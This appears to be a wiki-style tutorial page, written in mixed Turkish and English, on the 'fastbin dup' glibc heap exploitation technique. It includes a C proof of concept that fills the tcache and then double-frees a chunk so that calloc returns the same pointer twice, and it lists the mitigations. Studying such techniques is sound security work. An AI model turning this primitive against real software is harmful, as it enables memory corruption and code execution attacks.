Skip to content

fastbin dup

Bir fastbin chunk'ını double-free ederek aynı pointer'ın iki kez verilmesini sağla.

Mechanism

Fastbin free path'inin yalnızca shallow bir double-free guard'ı vardır: bir free'yi yalnızca chunk fastbin listesinin mevcut head'ine eşitse reddeder ("double free or corruption (fasttop)"). Arada farklı bir chunk free ederek target artık head olmaz, dolayısıyla onun ikinci bir free'si kabul edilir. Fastbin o zaman aynı chunk'ı iki kez içerir ve sonraki iki allocation aynı pointer'ı döndürür.

Note

glibc >= 2.26'da, free'lerin fastbin'e düşmesi için önce o size class için 7-entry'lik tcache'i doldurmalısın (tcache double-free key check'i ayrıdır). how2heap 2.35 PoC'si malloc(8) x8 ardından free x7 ile ısınır.

Walkthrough

// glibc >= 2.26: once tcache'i doldur ki asagidaki free'ler fastbin'e dussun
void *ptrs[8];
for (int i = 0; i < 8; i++) ptrs[i] = malloc(8);
for (int i = 0; i < 7; i++) free(ptrs[i]); // 7-entry tcache full

int *a = calloc(1, 8); // calloc tcache'ten servis etmez -> temiz chunk
int *b = calloc(1, 8);

free(a);
// free(a) again here would crash: a is the head of the fastbin
free(b);          // a is no longer the head
free(a);          // ACCEPTED -> list is now [ a, b, a ]

a = calloc(1, 8); // returns a
b = calloc(1, 8); // returns b
int *c = calloc(1, 8); // returns a AGAIN
assert(a == c);

Beklenen çıktı: 1. ve 3. calloc aynı adresi yazar; assert(a == c) geçer ("If we malloc 3 times, we'll get [a] twice!"). a ve c'nin alias'lanması overlapping allocation'lar verir; free edilmiş chunk'ın fd'sini overwrite etmek bunu bir arbitrary-allocation primitive'ine genişletir (bkz. fastbin-dup-into-stack).

Mitigation

fasttop head check'i (kısmî); glibc tcache key field'ı (2.29+) tcache karşılığını bloklar; safe-linking (2.32+) fd'yi mangle eder, dolayısıyla onu hedeflemek için bir leak gerekir. tcache bir kez dolduğunda hiçbiri fastbin dup'ı tam olarak durdurmaz.

References